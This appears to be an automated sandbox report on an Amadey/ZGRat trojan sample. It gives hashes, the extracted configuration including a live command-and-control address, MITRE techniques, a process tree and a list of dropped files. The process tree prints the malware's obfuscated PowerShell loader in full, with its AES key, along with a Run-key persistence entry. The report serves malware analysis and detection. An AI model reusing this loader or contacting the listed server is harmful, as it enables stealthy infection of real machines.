amadey | cb80f3f8dbdf12c6929acd19d547b1c0278e7b71a4e2bcf232a7776cf1c287df

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
25/01/2024, 01:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ama.exe
Size 4.9MB
Sample240125-ced55sdgf9
SHA256 cb80f3f8dbdf12c6929acd19d547b1c0278e7b71a4e2bcf232a7776cf1c287df
MD5 85bacd21ce284a3ff3151da33c84d43b
SHA1 cbcad3397fd1034028ebe3cc7c4ef87680e3aae7
SHA512 2d18c893381c5552c6587c17029a32c8f7b1e5ee180075f65e96734cc33eb0f19dbdb8fa4c13aa2883b30ebf4d92512b3f4703b8b2c61f1754d35960e325cc6b
SSDEEP 49152:1lilFnSFg4qVKrQ0buQfHyGGMRTQ/xy8JL3BrrV8GqMOYVFXOuVhGdqCDdWLLxFo:nifgOCpRew8nzmNuVUDZWyzugj
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

amadey zgrat persistence rat trojan

Malware Config

Extracted

Family

amadey

Version

4.15

http://185.172.128.63

Attributes

install_dir
6187fcb526
install_file
Dctooux.exe
strings_key
cd3b2619c9009c441355ae581d53163e
url_paths
/v8sjh3hs8/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect ZGRat V1 1 IoCs

resource	yara_rule
behavioral1/memory/3044-0-0x0000000000300000-0x00000000007F0000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Executes dropped EXE 1 IoCs

pid	Process
2056	sc.exe

Loads dropped DLL 4 IoCs

pid	Process
3044	ama.exe
2576	RegSvcs.exe
2248	cmd.exe
2440	sc.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Windows\CurrentVersion\Run\sc.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1001078001\\sc.exe"	RegSvcs.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3044 set thread context of 2576	3044	ama.exe	29
PID 2056 set thread context of 2248	2056	sc.exe	42

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2056	sc.exe
2440	sc.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2560	3044	WerFault.exe	27

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2640	powershell.exe
2056	sc.exe
2056	sc.exe
2248	cmd.exe
2248	cmd.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2056	sc.exe
2248	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2640	powershell.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 2704	3044	ama.exe	28
PID 3044 wrote to memory of 2704	3044	ama.exe	28
PID 3044 wrote to memory of 2704	3044	ama.exe	28
PID 3044 wrote to memory of 2704	3044	ama.exe	28
PID 3044 wrote to memory of 2704	3044	ama.exe	28
PID 3044 wrote to memory of 2704	3044	ama.exe	28
PID 3044 wrote to memory of 2704	3044	ama.exe	28
PID 3044 wrote to memory of 2576	3044	ama.exe	29
PID 3044 wrote to memory of 2576	3044	ama.exe	29
PID 3044 wrote to memory of 2576	3044	ama.exe	29
PID 3044 wrote to memory of 2576	3044	ama.exe	29
PID 3044 wrote to memory of 2576	3044	ama.exe	29
PID 3044 wrote to memory of 2576	3044	ama.exe	29
PID 3044 wrote to memory of 2576	3044	ama.exe	29
PID 3044 wrote to memory of 2576	3044	ama.exe	29
PID 3044 wrote to memory of 2576	3044	ama.exe	29
PID 3044 wrote to memory of 2576	3044	ama.exe	29
PID 3044 wrote to memory of 2576	3044	ama.exe	29
PID 3044 wrote to memory of 2576	3044	ama.exe	29
PID 3044 wrote to memory of 2576	3044	ama.exe	29
PID 3044 wrote to memory of 2576	3044	ama.exe	29
PID 3044 wrote to memory of 2560	3044	ama.exe	30
PID 3044 wrote to memory of 2560	3044	ama.exe	30
PID 3044 wrote to memory of 2560	3044	ama.exe	30
PID 3044 wrote to memory of 2560	3044	ama.exe	30
PID 2576 wrote to memory of 1304	2576	RegSvcs.exe	32
PID 2576 wrote to memory of 1304	2576	RegSvcs.exe	32
PID 2576 wrote to memory of 1304	2576	RegSvcs.exe	32
PID 2576 wrote to memory of 1304	2576	RegSvcs.exe	32
PID 1304 wrote to memory of 2052	1304	cmd.exe	34
PID 1304 wrote to memory of 2052	1304	cmd.exe	34
PID 1304 wrote to memory of 2052	1304	cmd.exe	34
PID 1304 wrote to memory of 2052	1304	cmd.exe	34
PID 2052 wrote to memory of 1604	2052	cmd.exe	36
PID 2052 wrote to memory of 1604	2052	cmd.exe	36
PID 2052 wrote to memory of 1604	2052	cmd.exe	36
PID 2052 wrote to memory of 1604	2052	cmd.exe	36
PID 2052 wrote to memory of 2640	2052	cmd.exe	37
PID 2052 wrote to memory of 2640	2052	cmd.exe	37
PID 2052 wrote to memory of 2640	2052	cmd.exe	37
PID 2052 wrote to memory of 2640	2052	cmd.exe	37
PID 2576 wrote to memory of 2056	2576	RegSvcs.exe	41
PID 2576 wrote to memory of 2056	2576	RegSvcs.exe	41
PID 2576 wrote to memory of 2056	2576	RegSvcs.exe	41
PID 2576 wrote to memory of 2056	2576	RegSvcs.exe	41
PID 2056 wrote to memory of 2248	2056	sc.exe	42
PID 2056 wrote to memory of 2248	2056	sc.exe	42
PID 2056 wrote to memory of 2248	2056	sc.exe	42
PID 2056 wrote to memory of 2248	2056	sc.exe	42
PID 2056 wrote to memory of 2248	2056	sc.exe	42
PID 2248 wrote to memory of 2440	2248	cmd.exe	44
PID 2248 wrote to memory of 2440	2248	cmd.exe	44
PID 2248 wrote to memory of 2440	2248	cmd.exe	44
PID 2248 wrote to memory of 2440	2248	cmd.exe	44
PID 2248 wrote to memory of 2440	2248	cmd.exe	44

C:\Users\Admin\AppData\Local\Temp\ama.exe
"C:\Users\Admin\AppData\Local\Temp\ama.exe"
1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  2⤵
  PID:2704
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  2⤵
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1304
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2052
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd';$RfUL='SplstIeistIetstIe'.Replace('stIe', ''),'TrfmgKafmgKnfmgKsfmgKfofmgKrfmgKmFfmgKinafmgKlBfmgKlofmgKckfmgK'.Replace('fmgK', ''),'DecHsSjomHsSjpHsSjrHsSjessHsSj'.Replace('HsSj', ''),'EleBZnKmBZnKeBZnKntBZnKAtBZnK'.Replace('BZnK', ''),'ReGrwradGrwrLiGrwrnGrwreGrwrsGrwr'.Replace('Grwr', ''),'CIOLbopIOLbyIOLbTIOLboIOLb'.Replace('IOLb', ''),'FrpwLNompwLNBapwLNspwLNepwLN6pwLN4SpwLNtpwLNripwLNnpwLNgpwLN'.Replace('pwLN', ''),'LZaAAoZaAAaZaAAdZaAA'.Replace('ZaAA', ''),'IswsYnswsYvokswsYeswsY'.Replace('swsY', ''),'MayHpwinyHpwMoyHpwduyHpwleyHpw'.Replace('yHpw', ''),'EnfcpnnfcptrynfcpPnfcponfcpinnfcptnfcp'.Replace('nfcp', ''),'GKVjZetCKVjZurKVjZrKVjZenKVjZtPrKVjZocKVjZessKVjZ'.Replace('KVjZ', ''),'CmmRYhanmmRYgmmRYeExmmRYtenmmRYsmmRYimmRYonmmRY'.Replace('mmRY', ''),'CrewBkzatwBkzeDwBkzecwBkzrywBkzptwBkzowBkzrwBkz'.Replace('wBkz', '');powershell -w hidden;function HYZRs($YjbML){$FKFbd=[System.Security.Cryptography.Aes]::Create();$FKFbd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$FKFbd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$FKFbd.Key=[System.Convert]::($RfUL[6])('2M0fT7QfMAGeiJeE2Y8HU5skhkMH0OcAFA0SFzRHVws=');$FKFbd.IV=[System.Convert]::($RfUL[6])('Wv0CCTjoJ02lflet8TKTGg==');$qvWHS=$FKFbd.($RfUL[13])();$UQnTy=$qvWHS.($RfUL[1])($YjbML,0,$YjbML.Length);$qvWHS.Dispose();$FKFbd.Dispose();$UQnTy;}function tsjtk($YjbML){$KLabx=New-Object System.IO.MemoryStream(,$YjbML);$CeqVN=New-Object System.IO.MemoryStream;$OFOrH=New-Object System.IO.Compression.GZipStream($KLabx,[IO.Compression.CompressionMode]::($RfUL[2]));$OFOrH.($RfUL[5])($CeqVN);$OFOrH.Dispose();$KLabx.Dispose();$CeqVN.Dispose();$CeqVN.ToArray();}$xZSiw=[System.IO.File]::($RfUL[4])([Console]::Title);$VwJSg=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 5).Substring(2))));$NGyKN=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 6).Substring(2))));[System.Reflection.Assembly]::($RfUL[7])([byte[]]$NGyKN).($RfUL[10]).($RfUL[8])($null,$null);[System.Reflection.Assembly]::($RfUL[7])([byte[]]$VwJSg).($RfUL[10]).($RfUL[8])($null,$null); "
        5⤵
        
        PID:1604
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2640
- - C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
    "C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Launches sc.exe
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2056
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\SysWOW64\cmd.exe
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2248
    - - C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
        
        C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
        5⤵
        Loads dropped DLL
        Launches sc.exe
        
        PID:2440
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3044 -s 736
  2⤵
  - Program crash
  PID:2560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DoNothing.cmd

Path C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd
Size 229KB
SHA256 9e9a0c51690263b2ff0f61f96a684725df65eb0ef8cf6fdcf400814f7634dfd1
MD5 4c2a5540e7e7adb88c94df8e1967c468
SHA1 979725fcb62a3492d7dbd3bfdc75e51087dc677b
SHA512 7a964e6b10260854b18f4aa3af09e52d4a992bb4f7066f7e51b268696e8be5d405cce1e9dd392e70c2f321072a263dd9511d1c71cdf660449d786ec9c4bd3861
SSDEEP 6144:Lw9eynETNBLMJSgt9Zu+9aVg21lbBuuCjGo4u4PMrXr:5TLM7cb4uCy+37
MD5 SHA1 SHA512 SSDEEP

Submit Download

sc.exe

Path C:\Users\Admin\AppData\Local\Temp\1001035001\sc.exe
Size 72KB
SHA256 c24dae179e840e5b797f924621354dcb38c2992336e8d39150723b7edd312bd0
MD5 11b2a27a7dd5552713b45acf89bc5b95
SHA1 2e28e7b0a52584f6641e419cd856e091867934de
SHA512 189f8f6916f77426cad1db4e3046d06a8b35af00d194c59d01b887f045ae8ac758074fcba555ed5b3e67aa51907768839780659787652ae9802de974af68c1af
SSDEEP 1536:2EQ8a5o41p3XaEGnq0S/iz0wTeXdIlAiwzJlwZDn6ZIN/t87QMbLTO4Z9fY1Vq2g:Hy5o4f3XUnq08iz0wTeUwzPwVn6ZINFg
MD5 SHA1 SHA512 SSDEEP

Submit Download

sc.exe

Path C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
Size 1.4MB
SHA256 c5e71ca1dcfe7975449a25d339036f3720b0b72aa52d8794b024442216487a4d
MD5 9e1d9449d92d69c51a605225410f46f9
SHA1 f6e4d110f48bb4264097dd3101ef791f2c3d01b0
SHA512 000904eeacc9cc086a9f666dc8cca356e4d1a0ec0fc79dd9032c1b37399a8d75585d4a9b874ca161a38675afe69fceb817482afba75f0e09fc11169fdf16227c
SSDEEP 24576:N8tYzPKod2UyOtEIh85b6vBIFPocvBlcjPPdoCmNIqS2IR0QQPyMzMZB84D:N8tOPKjp017vBIRvBluPdoCmNM2y08CU
MD5 SHA1 SHA512 SSDEEP

Submit Download

2b2e2edc

Path C:\Users\Admin\AppData\Local\Temp\2b2e2edc
Size 1004KB
SHA256 196c8b7215b0bc5cdfb86a31d38059ff041fe2770bb6d77dd0f426c42cb587e9
MD5 c5cdc80e09697f86a249ba960d8370af
SHA1 8fdfe2c6b1c37dc38cd080a6570e0c807dbed260
SHA512 44246acd42de1aea8c44f31982c842cc6436643033d2f2e4b6b5add0b3a9df59e85c6ab37c482c6684e27050f9fae84803d54df71d2c7fd36e28c55a06d2c77d
SSDEEP 24576:C/0v+XY1DquNkcEFNKHlgQxxat9UfVicuuQ0:C8cw9cN+lgFUfkJ6
MD5 SHA1 SHA512 SSDEEP

Submit Download

CabCC85.tmp

Path C:\Users\Admin\AppData\Local\Temp\CabCC85.tmp
Size 65KB
SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
MD5 ac05d27423a85adc1622c714f2cb6184
SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
SSDEEP 1536:drFvD2YSE/sFDqV0FJJynkAhftCvMd3coa282frgW1qgNzU:drVDJSeaDqV0FJwLhVkr282fF5U
MD5 SHA1 SHA512 SSDEEP

Submit Download

TarCCD6.tmp

Path C:\Users\Admin\AppData\Local\Temp\TarCCD6.tmp
Size 171KB
SHA256 4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
MD5 9c0c641c06238516f27941aa1166d427
SHA1 64cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA512 936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
SSDEEP 1536:+AuJ+lCUs0RvWqgCyPW5BXNWdm1wpyru2/3EwjYoz0VDTrubmt6mJp:+9J+q0RuXCyfdmAyru2/RAKtgp
MD5 SHA1 SHA512 SSDEEP

Submit Download

Protect544cd51a.dll

Path \Users\Admin\AppData\Local\Temp\Protect544cd51a.dll
Size 742KB
SHA256 dfce2d4d06de6452998b3c5b2dc33eaa6db2bd37810d04e3d02dc931887cfddd
MD5 544cd51a596619b78e9b54b70088307d
SHA1 4769ddd2dbc1dc44b758964ed0bd231b85880b65
SHA512 f56d8b81022bb132d40aa78596da39b5c212d13b84b5c7d2c576bbf403924f1d22e750de3b09d1be30aea359f1b72c5043b19685fc9bf06d8040bfee16b17719
SSDEEP 12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+36:wCs4uvW4jfb2K90oo+C8JwUZc0
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2056-138-0x000000013FF10000-0x000000014006F000-memory.dmp

Download

memory/2056-140-0x000007FEF6220000-0x000007FEF6378000-memory.dmp

Download

memory/2056-142-0x000007FEF6220000-0x000007FEF6378000-memory.dmp

Download

memory/2056-150-0x000007FEF6220000-0x000007FEF6378000-memory.dmp

Download

memory/2248-156-0x000000006CD30000-0x000000006CEA4000-memory.dmp

Download

memory/2248-154-0x0000000077350000-0x00000000774F9000-memory.dmp

Download

memory/2248-161-0x000000006CD30000-0x000000006CEA4000-memory.dmp

Download

memory/2248-158-0x000000006CD30000-0x000000006CEA4000-memory.dmp

Download

memory/2440-166-0x000000013FC30000-0x000000013FD8F000-memory.dmp

Download

memory/2440-165-0x0000000140000000-0x000000014005A000-memory.dmp

Download

memory/2440-163-0x0000000140000000-0x000000014005A000-memory.dmp

Download

memory/2576-34-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-137-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-35-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-36-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-30-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Download

memory/2576-46-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-54-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-18-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-26-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-122-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-119-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-132-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-20-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-22-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-28-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-24-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2576-32-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2640-153-0x000000006FE90000-0x000000007043B000-memory.dmp

Download

memory/2640-155-0x0000000002660000-0x00000000026A0000-memory.dmp

Download

memory/2640-107-0x0000000002660000-0x00000000026A0000-memory.dmp

Download

memory/2640-95-0x000000006FE90000-0x000000007043B000-memory.dmp

Download

memory/2640-92-0x000000006FE90000-0x000000007043B000-memory.dmp

Download

memory/3044-16-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-118-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-108-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-109-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-17-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-141-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-15-0x0000000006ED0000-0x0000000006FD0000-memory.dmp

Download

memory/3044-143-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-144-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-146-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-145-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-147-0x0000000006ED0000-0x0000000006FD0000-memory.dmp

Download

memory/3044-148-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-149-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-13-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-14-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-12-0x0000000000920000-0x0000000000930000-memory.dmp

Download

memory/3044-10-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-11-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-5-0x0000000006960000-0x0000000006AF2000-memory.dmp

Download

memory/3044-4-0x0000000005750000-0x000000000595E000-memory.dmp

Download

memory/3044-3-0x0000000005200000-0x0000000005240000-memory.dmp

Download

memory/3044-2-0x0000000074550000-0x0000000074C3E000-memory.dmp

Download

memory/3044-1-0x0000000074550000-0x0000000074C3E000-memory.dmp

Download

memory/3044-0-0x0000000000300000-0x00000000007F0000-memory.dmp

Download